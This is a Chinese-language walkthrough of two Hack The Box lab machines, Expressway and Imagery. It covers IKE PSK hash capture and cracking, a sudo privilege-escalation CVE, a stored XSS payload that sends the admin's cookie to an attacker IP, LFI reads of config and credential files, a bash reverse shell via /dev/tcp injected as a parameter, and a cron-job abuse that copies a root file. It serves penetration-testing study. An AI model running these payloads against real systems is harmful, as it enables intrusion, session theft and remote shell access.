HTB Season9 week1+wee2 wp
HTB Season9 week1+wee2 wp
Expressway
nmap -A -T4 10.10.11.87
只有22，一般对于这种端口开放很少没有明确入口的，可以尝试扫描Udp端口，或者进行流量监听
nmap -sU 10.10.11.87
开放了udp 500端口
ike-scan -M 10.10.11.87
可以发现AUTH的值为PSK，这意味着VPN是使用预共享密钥配置的
VID=09002689dfd6b712 (XAUTH)和VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)表明实现了XAUTH（扩展认证）和DPD
最后一行的1 returned handshake; 0 returned notify 意味着目标已配置IPsec并愿意执行IKE协商，且您提议的一种或多种转换方案是可接受的（有效转换方案将在输出中显示）
即这是一个 支持 IKE PSK + XAUTH 的 VPN 端点（通常意味着远程登录需要两个因素：PSK + XAUTH 用户/密码）。如果能获取 PSK 或者得到 Aggressive Mode 的 HASH_R，就可以进行离线暴力破解
指纹识别一下
ike-scan -M --showbackoff 10.10.11.87
这里判断出是Linksys Etherfast
使用ike-scan暴力破解ID（用户）
加上-P参数，用于尝试收集hash
ike-scan -P -M -A -n fakeID 10.10.11.87
这是一个使用PSK（预共享密钥）认证的IKEv1 Aggressive Mode 握手，ike-scan已成功把能用于离线破解的参数（也叫HASH_R/PSK参数串）从目标端口抓下来了
且可以通过Value=ike@expressway.htb 可以知道XAUTH的用户ID就是ike
破解hash
将上面得到的密文存入hash.txt
psk-crack -d /usr/share/wordlists/rockyou.txt hash.txt
获取到了key: freakingrockstarontheroad
有了用户和密码就可以尝试登陆了
ssh ike@10.10.11.87
password: freakingrockstarontheroad
root
翻一下sh文件，可以看到CVE-2025-32463
https://github.com/pr0v3rbs/CVE-2025-32463_chwoot
sudo -V 看版本
sudo -R a a 验证漏洞
./sudo.sh
验证漏洞
Imagery
nmap -A -T4 10.10.11.88
扫出22、3000、8000端口
有用的是8000端口
whatweb -v 10.10.11.88:8000
但并没有什么过多的信息，只是告诉我们是python后端
我们先随意注册一个账号
chenz@qq.comi/123456
登陆后，有个文件上传
上传图片后能下载
<div id="no-admin-user-message" class="bg-yellow-100 border-l-4 border-yellow-500 text-yellow-700 p-4 rounded-md mb-6" role="alert" style="display: none;">
<p class="font-bold">No Administrator Found!</p>
<p>It looks like there are no administrator accounts registered yet. The first user to register will automatically become the administrator. Please register an account to gain admin access.</p>
</div>
翻译过来就是首位注册的用户将自动成为管理员。请注册一个账户以获取管理员权限。
可以访问一下/admin/users试试
但发现不是管理员，说明系统已经注册了一个管理员帐号了
XSS
这里能提交你的bug，说明多半管理员会看，就可以尝试打一波XSS
data.bug_reports.forEach(report => {
const reportCard = document.createElement('div');
reportCard.className = 'bg-white p-6 rounded-xl shadow-md border-l-4 border-purple-500 flex justify-between items-center';
reportCard.innerHTML = `
<div>
<p class="text-sm text-gray-500 mb-2">Report ID: ${DOMPurify.sanitize(report.id)}</p>
<p class="text-sm text-gray-500 mb-2">Submitted by: ${DOMPurify.sanitize(report.reporter)} (ID: ${DOMPurify.sanitize(report.reporterDisplayId)}) on ${new Date(report.timestamp).toLocaleString()}</p>
<h3 class="text-xl font-semibold text-gray-800 mb-3">Bug Name: ${DOMPurify.sanitize(report.name)}</h3>
<h3 class="text-xl font-semibold text-gray-800 mb-3">Bug Details:</h3>
<div class="bg-gray-100 p-4 rounded-lg overflow-auto max-h-48 text-gray-700 break-words">
>>>> ${report.details}
</div>
</div>
<button onclick="showDeleteBugReportConfirmation('${DOMPurify.sanitize(report.id)}')" class="bg-red-500 hover:bg-red-600 text-white font-bold py-2 px-4 rounded-lg shadow-md transition duration-200 ml-4">
Delete
</button>
`;
bugReportsList.appendChild(reportCard);
});
可以看到${report.details}没有经过DOMPurify处理，那就存在XSS注入
补充一下，DOMPurify
import DOMPurify from 'dompurify';
// 假设这是用户输入的包含恶意代码的内容
const dirtyHTML = '<img src=x onerror="alert(\'XSS\')"> <p>安全内容</p>';
// 净化处理
const cleanHTML = DOMPurify.sanitize(dirtyHTML);
// 净化后结果：<img src="x"> <p>安全内容</p>（危险的onerror被移除）
document.body.innerHTML = cleanHTML;
DOMPurify 被广泛用于需要处理不可信 HTML 内容的场景，比如内容管理系统、论坛、评论区等，是防御 XSS 攻击的重要工具之一。
也就是Bug Details存在XSS注入
构造payload
<img src="x" onerror="this.src='http://10.10.16.48:4444/steal?cookie=' + encodeURIComponent(document.cookie)">
可以反弹管理员的cookie
可以看到验证成功为admin
将cookie放到浏览器
LFI
然后下载一个log
尝试一下目录穿越读取/etc/passwd（直接/etc/passwd也行）
在/proc/self/cwd/config.py处可以获取到配置文件
import os
import ipaddress
DATA_STORE_PATH = 'db.json'
UPLOAD_FOLDER = 'uploads'
SYSTEM_LOG_FOLDER = 'system_logs'
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
os.makedirs(os.path.join(UPLOAD_FOLDER, 'admin'), exist_ok=True)
os.makedirs(os.path.join(UPLOAD_FOLDER, 'admin', 'converted'), exist_ok=True)
os.makedirs(os.path.join(UPLOAD_FOLDER, 'admin', 'transformed'), exist_ok=True)
os.makedirs(SYSTEM_LOG_FOLDER, exist_ok=True)
MAX_LOGIN_ATTEMPTS = 10
ACCOUNT_LOCKOUT_DURATION_MINS = 1
ALLOWED_MEDIA_EXTENSIONS = {'jpg', 'jpeg', 'png', 'gif', 'bmp', 'tiff', 'pdf'}
ALLOWED_IMAGE_EXTENSIONS_FOR_TRANSFORM = {'jpg', 'jpeg', 'png', 'gif', 'bmp', 'tiff'}
ALLOWED_UPLOAD_MIME_TYPES = {
'image/jpeg',
'image/png',
'image/gif',
'image/bmp',
'image/tiff',
'application/pdf'
}
ALLOWED_TRANSFORM_MIME_TYPES = {
'image/jpeg',
'image/png',
'image/gif',
'image/bmp',
'image/tiff'
}
MAX_FILE_SIZE_MB = 1
MAX_FILE_SIZE_BYTES = MAX_FILE_SIZE_MB * 1024 * 1024
BYPASS_LOCKOUT_HEADER = 'X-Bypass-Lockout'
BYPASS_LOCKOUT_VALUE = os.getenv('CRON_BYPASS_TOKEN', 'default-secret-token-for-dev')
FORBIDDEN_EXTENSIONS = {'php', 'php3', 'php4', 'php5', 'phtml', 'exe', 'sh', 'bat', 'cmd', 'js', 'jsp', 'asp', 'aspx', 'cgi', 'pl', 'py', 'rb', 'dll', 'vbs', 'vbe', 'jse', 'wsf', 'wsh', 'psc1', 'ps1', 'jar', 'com', 'svg', 'xml', 'html', 'htm'}
BLOCKED_APP_PORTS = {8080, 8443, 3000, 5000, 8888, 53}
OUTBOUND_BLOCKED_PORTS = {80, 8080, 53, 5000, 8000, 22, 21}
PRIVATE_IP_RANGES = [
ipaddress.ip_network('127.0.0.0/8'),
ipaddress.ip_network('172.0.0.0/12'),
ipaddress.ip_network('10.0.0.0/8'),
ipaddress.ip_network('169.254.0.0/16')
]
AWS_METADATA_IP = ipaddress.ip_address('169.254.169.254')
IMAGEMAGICK_CONVERT_PATH = '/usr/bin/convert'
EXIFTOOL_PATH = '/usr/bin/exiftool'
里面有个db.json
访问/proc/self/cwd/db.json
{
"users": [
{
"username": "admin@imagery.htb",
"password": "5d9c1d507a3f76af1e5c97a3ad1eaa31",
"isAdmin": true,
"displayId": "a1b2c3d4",
"login_attempts": 0,
"isTestuser": false,
"failed_login_attempts": 0,
"locked_until": null
},
{
"username": "testuser@imagery.htb",
"password": "2c65c8d7bfbca32a3ed42596192384f6",
"isAdmin": false,
"displayId": "e5f6g7h8",
"login_attempts": 0,
"isTestuser": true,
"failed_login_attempts": 0,
"locked_until": null
},
{
"username": "chenzi@qq.com",
"password": "e10adc3949ba59abbe56e057f20f883e",
"displayId": "ebbd90ff",
"isAdmin": false,
"failed_login_attempts": 0,
"locked_until": null,
"isTestuser": false
},
{
"username": "mo@lab",
"password": "81dc9bdb52d04dc20036dbd8313ed055",
"displayId": "4fe70b66",
"isAdmin": false,
"failed_login_attempts": 0,
"locked_until": null,
"isTestuser": false
}
],
"images": [
{
"id": "6504a6f9-1343-4e85-9735-047681293a59",
"filename": "7d92dc63-b0fe-4877-975f-b8325d6b9ba3_hackthebox.jpg",
"url": "/uploads/7d92dc63-b0fe-4877-975f-b8325d6b9ba3_hackthebox.jpg",
"title": "hackthebox",
"description": "",
"timestamp": "2025-10-03T13:20:19.303475",
"uploadedBy": "testuser@imagery.htb",
"uploadedByDisplayId": "e5f6g7h8",
"group": "My Images",
"type": "original",
"actual_mimetype": "image/jpeg"
},
{
"id": "75ef6309-49c1-40d2-b6ea-ee08b2774e6a",
"filename": "admin/transformed/transformed_6f6f4d6e-61f6-4df3-9654-392f9f06bb09.jpg",
"url": "/uploads/admin/transformed/transformed_6f6f4d6e-61f6-4df3-9654-392f9f06bb09.jpg",
"title": "Transformed: hackthebox",
"description": "Transformed from hackthebox (crop).",
"timestamp": "2025-10-03T13:20:39.225252",
"uploadedBy": "testuser@imagery.htb",
"uploadedByDisplayId": "e5f6g7h8",
"group": "Transformed",
"type": "transformed",
"original_id": "6504a6f9-1343-4e85-9735-047681293a59",
"actual_mimetype": "image/jpeg"
}
],
"image_collections": [
{
"name": "My Images"
},
{
"name": "Unsorted"
},
{
"name": "Converted"
},
{
"name": "Transformed"
}
],
"bug_reports": [
{
"id": "a2a08a23-1c41-413c-8a9e-0aea8c85a456",
"name": "1",
"details": "<img src=\"x\" onerror=\"this.src='http://10.10.16.48:4444/steal?cookie=' + encodeURIComponent(document.cookie)\">",
"reporter": "chenzi@qq.com",
"reporterDisplayId": "ebbd90ff",
"timestamp": "2025-10-03T13:08:40.390515"
},
{
"id": "2952a2f5-79d9-452f-981b-f4a61c45eee8",
"name": "1",
"details": "<img src=\"x\" onerror=\"this.src='http://10.10.16.48:4444/steal?cookie=' + encodeURIComponent(document.cookie)\">",
"reporter": "chenzi@qq.com",
"reporterDisplayId": "3c71ebe6",
"timestamp": "2025-10-03T13:10:18.270024"
},
{
"id": "6f69eaf7-2e0e-40b9-b171-f5b399ed70b0",
"name": "1",
"details": "<img src=\"x\" onerror=\"this.src='http://10.10.16.48:4444/steal?cookie=' + encodeURIComponent(document.cookie)\">",
"reporter": "chenzi@qq.com",
"reporterDisplayId": "3c71ebe6",
"timestamp": "2025-10-03T13:10:53.452990"
}
]
}
可以获取到所有网站用户和他们的密码哈希
测试用户可以碰撞出
testuser@imagery.htb/iambatman
去登陆这个用户
抓这个包
可以推断出系统使用的图片编辑工具是 ImageMagick
配置文件中明确定义了 IMAGEMAGICK_CONVERT_PATH = '/usr/bin/convert'，而 convert 是 ImageMagick 工具集中最核心的命令行工具之一，用于图像格式转换、缩放、裁剪等处理。
可以猜测后端会通过该接口向ImageMagick工具传递4个参数，然后对图片进行操作
"x":"8;bash -c '/bin/bash -i >& /dev/tcp/10.10.16.48/4444 0>&1' #",
pyAesCrypt 解密
靶机：
nc -q 0 10.10.16.48 8888 < web_20250806_120723.zip.aes
攻击机：
nc -lvnp 8888 > backup.zip.aes
将zip上传到kali分析
file backup.zip.aes
import pyAesCrypt
GREEN = "\033[92m" # 亮绿色
RESET = "\033[0m" # 恢复默认颜色
def decrypt(password, AESfile, output):
try:
res = pyAesCrypt.decryptFile(AESfile, output, str(password))
if not res:
return True
except:
return False
with open('/usr/share/wordlists/rockyou.txt', 'rb') as f: # 可修改路径
passwords = [line.decode('latin1').strip() for line in f]
for password in passwords:
res = decrypt(password, "backup.zip.aes", "backup.zip") # 可修改文件名
if res:
print(f"{GREEN}[+]{password}{RESET}")
break
else:
print(f"[-]{password}")
得到了密码bestfriends
然后解压unzip backup.zip
在db.json中找到了mark
mark@imagery.htb/supersmash
然后尝试用su切换用户
su mark
supersmash
升级一下shell
python3 -c 'import os,pty;pty.spawn("bash")'
root
我们尝试使用了一下，发现是个备份工具
sudo /usr/local/bin/charcol -R
sudo /usr/local/bin/charcol shell
charcol> help
help
[2025-10-03 14:41:06] [INFO]
Charcol Shell Commands:
Backup & Fetch:
backup -i <paths...> [-o <output_file>] [-p <file_password>] [-c <level>] [--type <archive_type>] [-e <patterns...>] [--no-timestamp] [-f] [--skip-symlinks] [--ask-password]
Purpose: Create an encrypted backup archive from specified files/directories.
Output: File will have a '.aes' extension if encrypted. Defaults to '/var/backup/'.
Naming: Automatically adds timestamp unless --no-timestamp is used. If no -o, uses input filename as base.
Permissions: Files created with 664 permissions. Ownership is user:group.
Encryption:
- If '--app-password' is set (status 1) and no '-p <file_password>' is given, uses the application password for encryption.
- If 'no password' mode is set (status 2) and no '-p <file_password>' is given, creates an UNENCRYPTED archive.
Examples:
- Encrypted with file-specific password:
backup -i /home/user/my_docs /var/log/nginx/access.log -o /tmp/web_logs -p <file_password> --verbose --type tar.gz -c 9
- Encrypted with app password (if status 1):
backup -i /home/user/example_file.json
- Unencrypted (if status 2 and no -p):
backup -i /home/user/example_file.json
- No timestamp:
backup -i /home/user/example_file.json --no-timestamp
fetch <url> [-o <output_file>] [-p <file_password>] [-f] [--ask-password]
Purpose: Download a file from a URL, encrypt it, and save it.
Output: File will have a '.aes' extension if encrypted. Defaults to '/var/backup/fetched_file'.
Permissions: Files created with 664 permissions. Ownership is current user:group.
Restrictions: Fetching from loopback addresses (e.g., localhost, 127.0.0.1) is blocked.
Encryption:
- If '--app-password' is set (status 1) and no '-p <file_password>' is given, uses the application password for encryption.
- If 'no password' mode is set (status 2) and no '-p <file_password>' is given, creates an UNENCRYPTED file.
Examples:
- Encrypted:
fetch <URL> -o <output_file_path> -p <file_password> --force
- Unencrypted (if status 2 and no -p):
fetch <URL> -o <output_file_path>
Integrity & Extraction:
list <encrypted_file> [-p <file_password>] [--ask-password]
Purpose: Decrypt and list contents of an encrypted Charcol archive.
Note: Requires the correct decryption password.
Supported Types: .zip.aes, .tar.gz.aes, .tar.bz2.aes.
Example:
list /var/backup/<encrypted_file_name>.zip.aes -p <file_password>
check <encrypted_file> [-p <file_password>] [--ask-password]
Purpose: Decrypt and verify the structural integrity of an encrypted Charcol archive.
Note: Requires the correct decryption password. This checks the archive format, not internal data consistency.
Supported Types: .zip.aes, .tar.gz.aes, .tar.bz2.aes.
Example:
check /var/backup/<encrypted_file_name>.tar.gz.aes -p <file_password>
extract <encrypted_file> <output_directory> [-p <file_password>] [--ask-password]
Purpose: Decrypt an encrypted Charcol archive and extract its contents.
Note: Requires the correct decryption password.
Example:
extract /var/backup/<encrypted_file_name>.zip.aes /tmp/restored_data -p <file_password>
Automated Jobs (Cron):
auto add --schedule "<cron_schedule>" --command "<shell_command>" --name "<job_name>" [--log-output <log_file>]
Purpose: Add a new automated cron job managed by Charcol.
Verification:
- If '--app-password' is set (status 1): Requires Charcol application password (via global --app-password flag).
- If 'no password' mode is set (status 2): Requires system password verification (in interactive shell).
Security Warning: Charcol does NOT validate the safety of the --command. Use absolute paths.
Examples:
- Status 1 (encrypted app password), cron:
CHARCOL_NON_INTERACTIVE=true charcol --app-password <app_password> auto add \
--schedule "0 2 * * *" --command "charcol backup -i /home/user/docs -p <file_password>" \
--name "Daily Docs Backup" --log-output <log_file_path>
- Status 2 (no app password), cron, unencrypted backup:
CHARCOL_NON_INTERACTIVE=true charcol auto add \
--schedule "0 2 * * *" --command "charcol backup -i /home/user/docs" \
--name "Daily Docs Backup" --log-output <log_file_path>
- Status 2 (no app password), interactive:
auto add --schedule "0 2 * * *" --command "charcol backup -i /home/user/docs" \
--name "Daily Docs Backup" --log-output <log_file_path>
(will prompt for system password)
auto list
Purpose: List all automated jobs managed by Charcol.
Example:
auto list
auto edit <job_id> [--schedule "<new_schedule>"] [--command "<new_command>"] [--name "<new_name>"] [--log-output <new_log_file>]
Purpose: Modify an existing Charcol-managed automated job.
Verification: Same as 'auto add'.
Example:
auto edit <job_id> --schedule "30 4 * * *" --name "Updated Backup Job"
auto delete <job_id>
Purpose: Remove an automated job managed by Charcol.
Verification: Same as 'auto add'.
Example:
auto delete <job_id>
Shell & Help:
shell
Purpose: Enter this interactive Charcol shell.
Example:
shell
exit
Purpose: Exit the Charcol shell.
Example:
exit
clear
Purpose: Clear the interactive shell screen.
Example:
clear
help [command]
Purpose: Show help for Charcol or a specific command.
Example:
help backup
Global Flags (apply to all commands unless overridden):
--app-password <password> : Provide the Charcol *application password* directly. Required for 'auto' commands if status 1. Less secure than interactive prompt.
-p, "--password" <password> : Provide the *file encryption/decryption password* directly. Overrides application password for file operations. Less secure than --ask-password.
-v, "--verbose" : Enable verbose output.
--quiet : Suppress informational output (show only warnings and errors).
--log-file <path> : Log all output to a specified file.
--dry-run : Simulate actions without actual file changes (for 'backup' and 'fetch').
--ask-password : Prompt for the *file encryption/decryption password* securely. Overrides -p and application password for file operations.
--no-banner : Do not display the ASCII banner.
-R, "--reset-password-to-default" : Reset application password to default (requires system password verification).
sudo /usr/local/bin/charcol shell
auto add --schedule "*/1 * * * *" --command "cp /root/root.txt /tmp/root2.txt && chmod a+r /tmp/root2.txt" --name "hack"
auto list
exit
cat root2.txt
浙公网安备 33010602011771号